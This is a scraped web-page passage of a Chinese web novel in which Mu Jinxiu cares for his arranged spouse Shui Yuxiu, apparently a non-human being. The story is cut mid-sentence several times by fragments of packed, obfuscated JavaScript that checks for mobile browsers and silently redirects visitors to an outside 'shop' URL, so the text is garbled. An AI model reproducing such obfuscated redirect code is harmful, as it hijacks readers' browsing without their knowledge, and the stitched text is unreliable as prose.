d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613601|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他把相机暂且放在桌上,伸手过去帮水玉岫撕开包装袋。 袋子里面装着一些橘黄色的薄片,特殊香料的味道更加清晰地散发出来。 牧晋修看他呆呆的样子,抽了张纸将手擦干净,然后捻起一片放在他嘴边:“啊,张嘴。” 于是很快,满屋里都是水玉岫吃薯片时清脆的“咔擦咔嚓”声。 牧晋修在这个背景音中继续埋头研究相机,甚至线上求助了在兼职做自由摄影师的同学,一通交流下来,还是没搞明白为什么。 这相机使用次数不多,他不信邪,把电池退出来,又重新组装一遍。 开机后,相机屏幕闪烁了一下,画面显示出来,忽然又可以使用了。 牧晋修:“?” 满头问号,但算了,反正能用就好。 牧晋修便再次把镜头对准水玉岫,要他先把手里的薯片往旁边放放:“哥,给你拍个照,做新的证件照,到时候我们就可以去迪士尼玩,给你买一只雪莉玫抱着睡觉,好不好?” 水玉岫并不懂得证件照、迪士尼和雪莉玫是什么,但刚刚吃了没吃过的脆脆,格外好哄,所以还是很配合。 牧晋修导出照片,选了一张他觉得拍得最好的,发送给赵管家,剩下的新建相册,存了起来:这样可以吗? 赵管家不处理老宅闹鬼事宜和有关大少爷的神秘怪谈时,日子过得还是挺悠闲的。冷不丁收到信息,没想到牧晋修真的做到了,并且还完成得像模像样,原以为两人还会踢皮球似地再交锋几个来回。 ……这个牧晋修果然不太一般。 他看着聊天框里的那张照片,不过是多看了两眼,不知道为什么忽然有点心慌,连忙移开了视线。 [赵管家]:可以的,收到了。辛苦牧先生了(玫瑰) 牧晋修看到这行字,便打算放下手机。恰好有新消息在这时传来。 [恬不知耻]:讲个晦气的,我刚碰到牧恒毅了。 [恬不知耻]:小雅组的局,她一个姐妹带来的,两人挺亲昵的。散场后我问了一句,小雅说他们都好了一段时间了 [恬不知耻]:靠,但牧恒毅之前不是还为一个模特闹得要死要活,喝醉了把我一哥们的酒吧给砸了,纯傻登,还以为他找到真爱了 牧晋修倒是不意外,毕竟一个圈子的,交际多少有重合,况且牧恒毅也是一个在家呆不住的。 [Mu]:正常,他就一畜生 这话田皓挺认同的,牧晋修对于牧恒毅一直都很有攻击力。 牧家算有钱,按理来说牧晋修怎么也得是个富二代,是参加宴会会被人恭维叫少爷公子的程度。可惜牧晋修这辈子是无福消受了,他弟倒是接受良好,很引以为傲。 命运——命运这种东西就像乡下过年放鞭炮,声势浩大噼里啪啦一通乱响,你也不知道销烟散去后自己究竟会崩到哪里去,窗台、水沟还是谁家车轮底下。 田皓有时候蛮羡慕他,觉得他无事一身轻,无须面对家族里的弯弯绕绕、你争我夺,每天岁月静好;偶尔又会恨铁不成钢,惋惜他就那样把大好家产拱手相让。 牧晋修每次说那些本来就不是他的东西,田皓马上就要反驳他:“什么不是你的?你不是牧肃威的儿子?没有什么会自动落到你掌心,命里无时定要强求,人这一生就是要活到老争到死的。” 但牧晋修这人从小就活得很轴,不想上学,没人能把他挪到教室里;不想讲话,也没人逼得了他开口,谁来都劝不动。 再比如田皓出国时把车钥匙扔给他,牧晋修却非要出钱把车买下来。 当时把田皓搞得一阵无语:“要换个人跟我算得这么清楚,我根本就不会把他当兄弟。” 田皓想到这,又问了他和大少爷的婚后生活怎么样,什么时候有时间出来见一面吃饭。 牧晋修回答道还挺好的,又说水玉岫刚到家不久,不放心他一个人在家,不过早上出了一趟门,感觉状态还可以。 这个语气,田皓越听越熟悉,过去和前女友同居时,女友对新养的猫就是这种态度。 但水玉岫二十多岁了,又不是小动物。牧晋修言辞间好像真把对方当成了什么小猫,刚带回家,所以要细心呵护着,生怕受惊扰;去人多的地方还得事事小心,谨防应激。 [恬不知耻]:…… [恬不知耻]:我猜猜,你不会这么快就爱上人家了吧。 [Mu]:我不是畜生。 牧晋修难得严肃,看了一眼水玉岫的身影:你知道吗?他连筷子都不会用。没有人教过他。 [Mu]:我要报警。 “……” 田皓沉默半晌,缓缓敲出一个问号:? 7. 骑士 [恬不知耻]:再说一遍呢。 牧晋修冷漠重复:我要报警。 [恬不知耻]:你觉得自己是来吻醒睡美人的骑士吗?要单枪匹马挑战恶龙啊。小晋修啊,这又不是童话世界,不是你有意志有勇气就能披荆斩棘一往无前的 [恬不知耻]:现在把人带回来了,就好好过小日子去呗,你做男同兄弟也会祝福你的 [恬不知耻]:(加油jpg.) 方才水玉岫握筷子的画面在脑海中浮现,牧晋修表情不由冷了下来,一时没控制住情绪,但他确实有这个想法。 ——从在那个昏暗的黑屋子里看到水玉岫的第一眼起。 凭什么? 什么原因都不行,谁的人生不重要,人的一生里究竟会有几个二十年? 不管怎么样,都没有这个道理。 二十年足够一个人基本完成社会化,建立社交关系网络,明白世界大致的运行逻辑,顺便发展爱好,结交朋友。 而水玉岫没有朋友,水家急着产业转移,像处理麻烦一样把他扔给牧晋修,由管家打来的第一通电话竟然是在问牧晋修怎么样,也不关心关心水玉岫在这里吃得如何睡得如何、过得好不好。 ……不能再想了,真是越想越心痛。 而田皓还在发消息。 [恬不知耻]:你再考虑一下呢?水家多有钱,不至于在这种事情上克扣小辈吧。 [恬不知耻]:也许大少爷不会用筷子,是因为他天天吃西餐日料,每天空运冰鲜牛肉,专门有大师负责烹饪,亲自喂到嘴边。 [Mu]:(微笑) 呵呵。 牧晋修心说水玉岫到底有没有吃过澳洲西冷我会不清楚,他明明连吃个薯片都要研究一下。 田皓见他不像在开玩笑,又深知牧晋修的性格,态度也跟着正经起来:他们家水太深了,你还是别碰了。你不关注这些,别的不说,那个水忠才可不是什么良善角色。 [恬不知耻]:之前有个项目出了事,本来都出了报道,不知道用了什么手段硬是压下来了,一般人还是别跟他们乱来 [Mu]:我知道,不是现在。 牧晋修自然不会莽撞。虽然现在他和赵管家的聊天记录就能作为一个证据,但是太单薄了,不够充分。 而且,他也担心回忆过去对水玉岫来说,是二次伤害。 算了,田皓看劝不动,改了口,让牧晋修有事要及时讲。 牧晋修应了,忽然又想到什么,又问:对了,你这次回来,没和秀谙说吗? 对话框一下子安静了。 郑秀谙、田皓,还有他,三人是朋友,田皓之前回国,大家会一起见面吃个饭。 她和田皓之前谈过恋爱,期间分分合合许多次,最甜蜜的一次差点要求婚了,最破裂的一次各自放下老死不相往来的狠话。 牧晋修不太懂得两人之间到底发生了什么,但他们没主动提起,也便保持了分寸没问。 [恬不知耻]:没说。 没多久又补充一句:我发了朋友圈,她看到了也就知道了。 牧晋修试探了一下:哦,她可能不会看,好像有点忙,听说最近在准备一个项目,过不久要去外地。 [恬不知耻]:…… [恬不知耻]:我一会儿说。 几个字莫名透露出变扭的感觉。 牧晋修挑了挑眉,不再管了。手机往旁边一扔,凑到水玉岫旁边,开始播报食谱:“哥,我们明天吃牛排吧,给你做意面吃。你会喜欢奶油蘑菇汤吗?” 水玉岫正捧着一瓶养乐多在喝,闻言歪了歪脑袋。 牧晋修和人对视一眼,又把手机捡了回来,给他找了个美食博主的下厨视频:“你看,是这样的……” 蘑菇和玉米粒浸泡在奶油里,咕嘟咕嘟翻滚冒泡,色泽温暖,看上去令人食欲大开,虽然似乎和夏天不太搭配。 但是管他呢,想吃就得到。 水玉岫似乎有点感兴趣。两人挨在一起看视频,越靠越近,旁边人的身体紧贴着他的肩膀。 “诶……” 牧晋修一顿,还来不及说话,人已经倒他怀里去了,脑袋很不见外地安置在他的颈窝处,找了个舒服的位置,就着这个姿势窝在怀里继续看屏幕。 “……” 有些太过亲密了,一旦手合拢,落在腰上,便是真真正正地把人抱在怀里。 牧晋修动作僵住了,另一只手悬在空中,很犹豫,不想落实这个有些逾越的举动。 然而半晌过后,他的手还是慢慢落下来了,摸了摸水玉岫的头发。 水玉岫看了一会儿,又懒得举着手,干脆把剩下半瓶养乐多塞到牧晋修的另一个手心里。 牧晋修起初还以为他要分享,但很快水玉岫就若无其事地凑过去继续咬着吸管,又碰了碰他的手背,示意他手再往上抬一抬。 “……” 没料到这一出,牧晋修忍不住偏头笑了一下,就这样一手举着手机屏幕,一手给水玉岫举着养乐多。 蘑菇奶油汤的视频看完,自动跳转到下一个视频,这回是草本酸汤火锅,没吃过的东西,水玉岫看得津津有味,看了还想看。 牧晋修说:“喜欢看这个吗?那我给你找个美食节目吧。” 但一抬头,便看见正对他们的屏幕,漆黑地倒映出两个人亲昵的身影。 “忘记了。”牧晋修一拍脑袋:“电视还坏着呢。” . 傍晚的时候,牧晋修预约了第二天上门维修电器的师傅,还定了新鲜的牛肉以及其他需要的食材。 顺便签收了刚到的快递。 眼下刚好是荔枝的季节,上市不久,新鲜水灵。牧晋修之前联系过一个果园老板,水果品质不错,合作做礼盒,送给在“刘只鱼”消费的svip客户。 他往哥姐的地址分别寄了两箱,留了一箱在家里,因为水玉岫看起来也挺爱吃的,一口一个,又甜又多汁。 嫌牧晋修戴手套剥得慢,已经学会了自己动手,手指按在饱满的荔枝上,一用力,薄薄的壳便裂开,露出内里透亮的果肉。 偶尔还喂几个到牧晋修嘴边,把牧晋修感动得连声夸赞:“谢谢哥,你真好。” 感觉关系有变得熟悉一点欸。 剥好的荔枝肉堆在碗里,牧晋修给他拿了个勺子:“要不要拌酸奶吃?” 水玉岫应该是想起来早餐时吃的果酱面包片了,觉得人类的脑袋里怎么那么会研究,很快同意了。 牧晋修便去开冰箱,给他开了罐干噎酸奶,搅拌两下,让他慢慢吃。 “哥,你知道吗?”牧晋修说:“感觉我好像小熊猫饲养员。” 水玉岫含着勺子,抬头看他。 “小熊猫……嗯,小熊猫是一种可爱的动物,小熊猫科,小熊猫属,毛绒绒的,像你一样。” 牧晋修一时兴起,又提议道:“要不要去动物园?” 世界好大,真是的,想带他去好多地方。 牧晋修小时候想去的地方很多,后来长大如愿去到后,有些觉得差强人意,有些觉得好玩,有些无趣。 但不管怎样,人总归得经历过才能做出好坏评价。 世界太大了,无法用双脚去丈量,但可以坐火车去、坐飞机去、坐轮船去。 牧晋修捏了捏他的脸,坏心眼地说:“到时候我要拍你和小熊猫的合照。” 水玉岫仰起头,脸颊还鼓着。 动作间,牧晋修被他柔软的脸颊蹭了一下手心,心里快要软化成一滩糖浆。 超可爱的。 . 晚上睡觉时,水玉岫的睡觉姿势改善了一些,没有先前那么呆板。 牧晋修洗漱完从浴室出来时,就看见他脑袋枕在枕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613602|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头上,翘着腿,脚尖一晃一晃的,悠闲极了,不知道什么时候学会的。 家里总共就两个人,他只能是跟牧晋修学的。 ……啊啊啊啊啊。 牧晋修立刻严肃回想,自己还有没有无意间展现过其他别的不良习惯。 从明天起一定要少玩手机,多看书。 他硬着头皮上前,理不直气不顺地劝说:“哥,翘腿不好,久了容易脊椎侧弯。我以后也不会了。” 水玉岫面无表情地看了他一眼,是听话地把腿放下来了,然后又换了另一只脚翘。 ……唉,这小猫头顶一定长了犟毛。 牧晋修就闭嘴了。 这一夜熄灯后,牧晋修又梦见了那些奇形怪状、毫无规律的影子。只不过和上次相比,影子们似乎变得温顺了一些? 他不知道这些到底是什么东西,往其中一小团影子靠近,眯着眼睛仔细瞧,看得眼花缭乱幻影重重,然后发现它——好像在吃一包曲奇饼干。 牧晋修:“?” 这都什么和什么啊。 他下意识后退一步,从梦里醒来。 卧室内光线昏暗,牧晋修掀开被子起身,刚才梦见什么已然忘了,迷迷瞪瞪,头脑还不清楚,下床去卫生间放水。 头顶的灯明晃晃,四周很安静。牧晋修眼睛半闭着,打了个哈欠,想赶紧回去躺着。 完事了一转身,视线随之变化,四目相对。 一张白皙的小脸,无机质的黑色瞳孔模糊地映着面前的身影,长长的黑发披散着。不知道什么时候突然出现,悄无声息地站在他身后。 白炽灯照出他的影子,向后延伸,融入黑暗里。 牧晋修:“!” 霎时间,曾经看过的恐怖电影被调出脑海,许多高能镜头来回切换,一颗心剧烈跳动,差点蹦出胸口。 甚至肾上腺素极速飙升,手臂上青筋起伏。 ——直到睁大眼睛看清对方的面容后,才慢慢平静下来。 靠。 睡迷糊了,忘记了已经不是独居,房间里还有一个人。 “哥。” 牧晋修根本不知道他什么时候跟过来的,缓缓地说:“你这样,真的,有点吓人啊。” 他拍了拍两下胸膛,终于缓过来一口气,洗完手后,牵着水玉岫的手,把人带回卧室里去了。 牧晋修:“我刚才起来吵到你了吗?” 他发现水玉岫的睡眠似乎很浅,好像很容易就醒了。是之前一直一个人睡的原因吗?所以对声音格外敏感。 水玉岫没有讲话,缩在被窝里,两只眼睛滴溜溜地看着他。 牧晋修便没再问了,把空调往上调高一度,伸手为他掖了掖被子。掖完后没收回手,手掌轻轻拍着他的后背:“快睡吧。” 房间里渐渐恢复安静。 牧晋修的呼吸趋于平稳,手上的动作也停下来了。 而在他不知道的时候,面前的人又悄无声息地把眼睛睁开了。 面色很平静,默默观察了一会儿牧晋修,感觉人类每天都睡一会儿起来一会儿的很辛苦。 水玉岫看了一会儿,想起来今天吃的东西,忽然有点生气。 过去给他的贡品里也没有这些啊,什么夹心小面包,什么草莓牛奶什么养乐多,通通没有,人类这种自私的东西果然只会把好东西偷偷留着。 但面前的这个人类……还行。 水玉岫悉悉索索地动了动,从被窝里伸出手,戳了戳牧晋修的脸,又试探着用两个手指捏了捏。 也不知道这样有什么好玩的,牧晋修每次捏他的脸,一捏就要笑。 身旁的人已经重新坠入梦乡了,睡得很沉,明显没法回答他的这个问题。 搞不明白。 水玉岫把手收回来了,然后慢慢闭上眼睛。 明天快点来,奶油蘑菇汤。 8. 书架 耀眼、炙热的太阳挂在城市上空,源源不断地向这座城市散发热量,唤醒沉睡的花草树木。 鉴于水玉岫的良好表现,牧晋修又把花搬回阳台。月季这种漂亮温柔的植物,毫不吝啬地给予人类视觉美感,热烈地舒展花瓣,像一捧彩虹。 牧晋修给花浇水,水玉岫站在一旁看着,前者浇完一株,把水壶的柄递给他:“要不要试一试?” “提着把手,往上倾斜,让水流出来……”牧晋修鼓励道:“就是这样,把土壤打湿就可以了。太阳很大,花需要喝水,你也要多喝水。好吗?” 水玉岫把水壶放下,低头认真观察,好像在看月季花有没有变得活力一点。 牧晋修笑了笑,俯身凑近他的耳朵,夹着嗓子,细声细气地模拟童音:“月季花说——谢谢水玉岫,你真是个善良的好人类,你会永远幸福快乐健健康康。” “……”水玉岫心想,我才不是人类。 但是花很好看,剔透的水珠还滚在花瓣上,这都是他的成果,便什么都没有反驳。 浇完后还绕着花盆转了好几圈,这次没有再偷偷摘花瓣吃。 . 从阳台回到大厅,空调冷气十足,早饭过后,水玉岫站在落地窗前眯着眼晒太阳,牧晋修拿了把梳子走过来,给他梳头发。 水玉岫的头发很长,又黑又顺,而且牧晋修还惊奇地发现,对方的发质似乎很健康,基本不怎么掉头发,梳子上干干净净的。 好小猫好小猫。 新的一天,家里面最劳模的自动扫地机器人照常开始工作,转着轮子在大厅轻车熟路绕来绕去,牧晋修一开始就给水玉岫介绍过这个家庭成员,因此后者并不显得惊讶。 扫地机卷走了灰尘,卷走了果屑,沿着规划好的路线,即将转到水玉岫身前。牧晋修刚想出声提醒,然而机器人却在距离人半米处的位置,忽然变道,换了一条路线,头也不回地走了。 亲眼目睹这一画面的牧晋修:“……” 刚才发生了什么? 扫地机器人继续若无其事地干家务,发出低沉的嗡嗡声,水玉岫则继续若无其事地晒太阳,好像一株给自己进行光合作用的兰花。 太和谐了,仿佛什么奇怪的事情都没有发生。 牧晋修只好也跟着若无其事,开始看旁边的人。 阳光轻盈地落在水玉岫的脸上,使他的皮肤呈现出一种略微透明的光泽。眼睫纤长,眸色很深,明明表情冷淡,却莫名令人觉得柔软。 ……就算他不是水家的大少爷,应该也有的是人愿意和他结婚吧。 他想起来田皓昨天关于什么睡美人和骑士的比喻,心想,就要做骑士啊,怎么了。 别人想做还没机会呢。 总得有人带他回家吧,刚好是我的话,那也挺好的。 牧晋修不知想到什么,笑了一下,伸手过去,屈指在水玉岫面前的玻璃点点,直至把人的注意力吸引过来。 然后凑近了点问:“哥,哪天我要是忘记带钥匙进不来,你能不能从窗户把头发放下来,让我上去。” 这可是二十一楼啊,一通胡言乱语,都给自己讲笑了。而水玉岫看了他一会儿,忽然一声不吭地转身离开。 糟糕。 牧晋修马上收了笑,以为他生气了,暗叫不好,连忙补救:“哥,我错了,我开玩笑的,不会随便折腾你头发的……” 他一路跟着水玉岫穿过大厅,回到卧室。水玉岫则是在一个架子前站定,从上面摸出一个什么东西,然后转身塞到牧晋修手中。 薄薄的、四四方方,触感坚硬而冰凉,是第一天来时,牧晋修放他口袋里的那张通行卡。 水玉岫双手抱胸,看着他,挑了挑眉。觉得人类果然很笨。 牧晋修:“……” 牧晋修:“谢谢哥。我会努力不忘记的。” 他把卡重新放回水玉岫手中:“这一张你还是自己好好留着吧。” 于是水玉岫又把卡放回去了。两人从卧室出来,上午过半,可以开始着手准备午饭。 牧晋修取出食材,站在流理台前时,忽然有些感慨。 这套房子是漂亮的江景房,大平层,采光明亮,到处都是太阳,白天根本无需开灯;隔音也相当不错,听不见一点来自邻居家的噪音。 哪哪都好,就是一个人住太大了,有时也会觉得寂寞。他慢慢用一些七零八碎的小玩意一点点填满,还是觉得空落落的。 讲不明白,就是有点没人气。 而现在加入一个水玉岫,似乎就正正好了。 牧晋修很守信,时针转过小格后,水玉岫很快闻到香味,在厨房外面晃来晃去,期间接受了牧晋修无奈的几次投喂。 不多时,桌子上摆得满满当当,煎得焦香的牛排、淋上番茄肉酱的意面,还有香浓的奶油蘑菇汤,确实是说到做到。牧晋修还给他倒了一杯解腻的青柠水,插上粉红色的吸管。 然后把叉子递给他,觉得教水玉岫用筷子这件事得趁早提上日程:“尝尝?” 大少爷嚼了嚼,认为味道很好,矜持地微微点头,予以肯定。 . 等到饭后,牧晋修的学长给他打来电话,询问之前的一组实验数据。 在这个间隙,水玉岫一个人悄无声息地踏进书房。 纸质书页带来油墨和植物纤维的气息,水玉岫伸手,指尖随着走动抚摸过书架上的各类书籍。 质感特殊的封面上,印着规规矩矩的方块,横撇竖捺,各不相同。 ——这是人类的文字。 这种生物,最多活一百年就死了。水玉岫过去经常一睁眼一闭眼,便是一个朝代的没落,一个时代的更替。文字、律法、尺寸重新规定,送到他面前的珠宝玉器,也经常换了形状和潮流。 蝼蚁命短,水玉岫过去从来没有想和他们交流的想法,反正人活不久,很没意思,还天天叽叽喳喳的。 但现在情况不一样了,他和一个人类待在这个小小的地方,感觉却并不坏。 ……而且水玉岫其实有点想吃电梯里介绍的曲奇饼干了,昨天出门的时候又看到了,不学习人类的语言怎么才能让牧晋修知道。 一讲话就晕倒,梦给他看也看不明白。 郁闷。 水玉岫在书房里逛了一圈,漫无目的。他无需亲自动手,架子上的书便自动离开原位,漂浮在半空中,翻动着书页。 水玉岫这看两眼那看两眼,觉得并不难懂。很快,一个小角落再次吸引了他的注意。 在书架的某一层中,一张照片被端端正正地摆在架子上。 他的脚步停了下来。 牧晋修给他拍过照,水玉岫现在可以明白这种人类发明出来的有趣小东西。 照片里有两个人,画面中心是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613603|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个中年女人,微微有些发福,看上去很和气,对着镜头微笑,眼睛眯起,嘴角笑出一个小括弧。 她穿着碎花衬衫,旁边站着一个年纪不大的男孩,也在微笑,笑得很含蓄。 水玉岫认出来了,这是牧晋修。 . 牧晋修这边还在回答程现的问题:“我记得当时做了笔记,陈老师上课时似乎说过,稍等……” 他举着电话走到书房门口,然而下一秒,眼前的景象让牧晋修的脚步一停。 书架上的书不知道为什么散落一地,散得还很有规律,大致呈现出一个圆形。 但屋内明明空无一人。 牧晋修顿了顿,退出书房一看,水玉岫确实好好地坐在沙发上看舌尖上的美食,双手搭在膝盖上,很乖的模样。 见他看过来,还歪了歪脑袋。 程现在电话那头道:“晋修?” 牧晋修回过神,又重新返回书房,把先前的笔记找出来。 等通话结束,他才有机会仔细观察一下房间。 落地的实木书架挺大,牧晋修在上面摆的书十分杂乱,专业书,课外读物,甚至还有之前帮他哥他嫂精选的儿童绘本。 书掉了,相框和各种摆件却都好好的。 如果是被什么东西碰倒了,这么多的东西,里面还有精装的厚壳书,虽然有地毯,但落到地上不可能一点声音都没有。 牧晋修站在书架前,抬头看几乎空荡荡的架子,陷入沉思。 所以究竟是为什么会掉下来? 想不明白,他便不再想了,这房子隔音很好,也许是书的位置恰巧摆放得不对,引发了一连串的滑坡,而刚才被电视声音给盖住了,他又在打电话,都有可能。 牧晋修弯下腰,把离自己最近的一本《时间简史》捡了起来,重新放回架子上。 这样收拾了三四本,忽然看到身后有个影子,转头一瞧,是水玉岫。 “怎么了?”牧晋修不知道他遇到了什么问题,很快上前询问:“嗯?” 见水玉岫不说话,牧晋修听着大厅似乎安静了,以为刚修好不久的电视又坏了,便快步出去看看。 电视屏幕是熄灭着,但一按开关,很快亮了起来。没有故障,应该只是某人看累了。 牧晋修便返回书房,然而这一回却使他更加吃惊—— 不过短短两分钟不到,书架上的书已经全部归回原位,岁月静好,仿佛刚才那副混乱的场景从未发生过一样。 唯有水玉岫坐在转椅子上,转来转去,好像觉得很好玩。 “……哥。” 牧晋修回过神,走到水玉岫面前:“这些都是你自己收拾的吗?” 椅子不动了,面前的人开始玩自己的头发。 书莫名其妙地掉了,又莫名其妙地收拾好了,简直可以入选世界第十一大未解之谜。 牧晋修左看右看,屋子里确实没有第二个身影了。何况这个层高,也很难有人能从窗户外溜进来吧。 如今是二十一世纪,世界上也没有什么魔法吧。 某位侦探曾经说过,排除其他所有不可能的选项,剩下的,即使再令人不敢置信,也是正确答案。 于是虽然根本没搞明白到底发生了什么,牧晋修沉默了一会儿,还是摸了摸他的脑袋,怜惜道:“谢谢哥,但下次还是让我来吧,有些书是很重的,辛苦你了。” 9.嘿嘿 虽然并没有累到,但是这话说得没错,反正确实是他的功劳,水玉岫还是收下了这句道谢,坐在椅子上又转了一圈。 牧晋修真怕他玩过头了晕倒,等下把午饭吐出来,好不容易多吃了一点,于是很快伸出手把椅子扶住了。 水玉岫不满地拍了拍他的手。 牧晋修转移话题,往四周看了看,忽然问:“哥,你想看书吗?” 他转身,走到收拾好的架子前扫视两眼,四处搜寻,挑出了一本《尼尔斯骑鹅旅行记》,递给椅子上的人。 彩色封面,画着一个骑着鹅的小人,在中学生的推荐阅读清单里。这类童话风的冒险幻想故事,情节跌宕起伏,趣味性足,并且情感充沛,很适合做读物。 他做好被拒绝的准备了,没想到水玉岫想了想,伸手接过了,然后翻开一页,开始看。 该说不说,牧晋修心里竟暗自地松了一口气。 还好是认字的,那应该是上过学吧? 连九年义务教育都置之不理的话,这家人也太恶劣了。 不愿开口讲话的人,必定会寻求其他的表达方式,暴躁的人会向外攻击,尖叫、打斗;内敛的人会向内索求,独坐、阅读。 ——而水玉岫吃东西。 牧晋修觉得挺好的,毕竟水玉岫吃东西的时候很乖,而且人有进食的欲望真是一件很好的事情。 活着消耗能量,进食补充能量,两者相互循环促进,如同一个车轮向前滚动运行,促发萌芽,促使花开,世间万物都是这样运作的。 进食确实可以缓解某些情绪。牧晋修心想,每个人都有防御机制,或许这是他应对外界的一种方式。 只要水玉岫不一天吃三个冰淇淋,他还是很纵容的。 见水玉岫真的开始安静看书,牧晋修便又搬了一把椅子过来,在他身边开始处理刚才和学长沟通的实验数据,看看究竟是哪里出了问题。 两人离得近,水玉岫的长发垂落,牧晋修闻到了他身上洗护用品的香味。 牧晋修的沐浴露并不特别,但气味这种东西太过私人,在别人的身上闻到自己的味道,感觉很奇妙的。 ……还有点不好意思。 牧晋修揉了揉鼻子。 屏幕上,程现的新消息发来:明天方便的话,来一趟学校?我们面对面沟通一下。 暑假过去大半,前一个月牧晋修几乎天天往学校跑,这几天才闲下来了。但是程现今天这个电话倒是提醒了他。 去学校一趟,忙起来时不一定顾得上别的,保险起见,水玉岫就只能留在家里。 来回也得几个小时,没法联系上人的话,牧晋修多少有点不放心。 牧晋修偏头看旁边的人,水玉岫还在看书,他读得很快,看插图的时候慢下来了,瞧得相当认真,指尖抚摸过上面的大鹅和老鹰。 注意到牧晋修的视线,他抬起头看过去。 牧晋修扬了扬嘴角:“被抓到了。” 牧晋修弯下腰,从抽屉里找出一个备用机,又四处翻了翻,找到之前为了开通套餐而注册的校园卡。 这张卡基本没有用过,他插到备用机上,开了机。 水玉岫两手空空地过来,什么东西都没有带走,看屋子里毫无现代化电器的模样,也不知道水家平日里让不让他联系外人。 ……那群人到底在搞什么啊,好想直接报警抓起来。 手机里挺空,除了基础软件以外什么都没有。 牧晋修注册了新账号,然后搜索添加自己的好友。一番操作后,他点了点聊天页面最上方的置顶,也是唯一一个联系人,指给水玉岫看:“这是牧晋修。” 水玉岫的视线从屏幕,随着他的指尖,又落到牧晋修身上,牧晋修点了点自己:“这也是牧晋修。” 牧晋修点开聊天框,发消息、拨电话……全部示范一遍给水玉岫看:“有事随时给我打电话。好吗?” 水玉岫接过,似懂非懂地把长方块握在手中。 . 傍晚,牧晋修还在书房里看文献,郑秀谙打来电话,告诉他周三画展开业,给他留了张票。 郑秀谙是艺术专业,学绘画很多年,在业内初出茅庐,最近在市中心最大的展馆二层展出画作。 牧晋修先是恭喜她,然后问:“票数紧张吗?我能不能再要一张。” 艺术展览吗?没有那么感兴趣,但朋友邀请,而且正好可以带水玉岫出门转转,给猫咪做气味丰荣,调节一下心情。 “哦——” 郑秀谙心思细腻,一下便反应过来,笑了起来,揶揄道:“你有情况。” 郑秀谙书香门第,并不一定知道这种豪门秘闻。她前段时间忙着商量选址,诸多事宜,牧晋修原以为联姻什么的做不得数,便没和她说。 眼下人都带回来了,于是稍微解释了一遍。 郑秀谙果然相当惊讶,沉吟片刻:“你的事情你做主。反正我这里票是管够的。” “田皓也去吗?”牧晋修又问:“他前几天回国了。” “哦。”郑秀谙反应平淡了点:“我看到他发的朋友圈了。” 是朋友圈,并不是私下告知,牧晋修便知道那天晚上田皓还是没有发出去信息。 过了一会儿,她又说:“他如果想说,会自己来告诉我的。” 唉。 双方的说辞简直惊人的相似。 牧晋修有时候不明白,两个人怎么都执拗成这样。 他对恋爱这种事情没有向往,很重要的一个原因是不信任。家庭因素使然,牧晋修并不认为这种虚无缥缈、近似于动物直觉的感情,究竟能维持多久。 婚姻不过是一个用来保障财产的律法,无法对感情有丝毫限制。 其次,命运多舛,上帝是个忠爱愚弄人的看客,有时纵使得到,也是枉然。 伸手乞求,又空然垂下手去。 而且,朋友的恋爱尚且如此,牧晋修不认为自己会是幸运的。 他其实是个蛮相信缘分的人,虽然朋友对此有些察觉,并且诟病他这种类似于强迫症的心理,但牧晋修本人甚至都对此无可奈何。 许多事情,寻踪问迹,都有来源去处,人一旦定型,再深究也没有用。 . 电话挂断后,牧晋修却没有急着按灭手机。他点开聊天软件,给水玉岫拨出视频通话。 这次展出做了很久的前期宣传,牧晋修也帮忙转发过。第一天人流量大,再加上投资人参观和作画解说,牧晋修打算错峰过去,寻一个工作日,临近闭馆的时候再过去。 也不知道水玉岫会不会喜欢。 嘟嘟嘟的等待音响起,牧晋修耐心地等了一会儿,很快,屏幕上出现了一张素白的小脸,撑着脑袋看他。 牧晋修笑了:“哥。你在干什么?” 水玉岫在吃那天买回来的小蛋糕,对着镜头晃了晃叉子。 牧晋修:“哦——那你还吃晚饭吗?” 两人隔着屏幕聊天,一个在书房,一个在大厅,明明多走两步就能碰面,讲话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624147|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大声一点都能互相听见,但偏要依靠电子设备传声。 水玉岫刚学会新东西,还处在新奇阶段,没有不耐烦,两人就这样有一句没一句地一直聊到饭点。 等饭后,两人坐在沙发上,牧晋修在跟水玉岫商量:“哥,我明天要出门一趟。是学校里的事情,不会去很久的。” 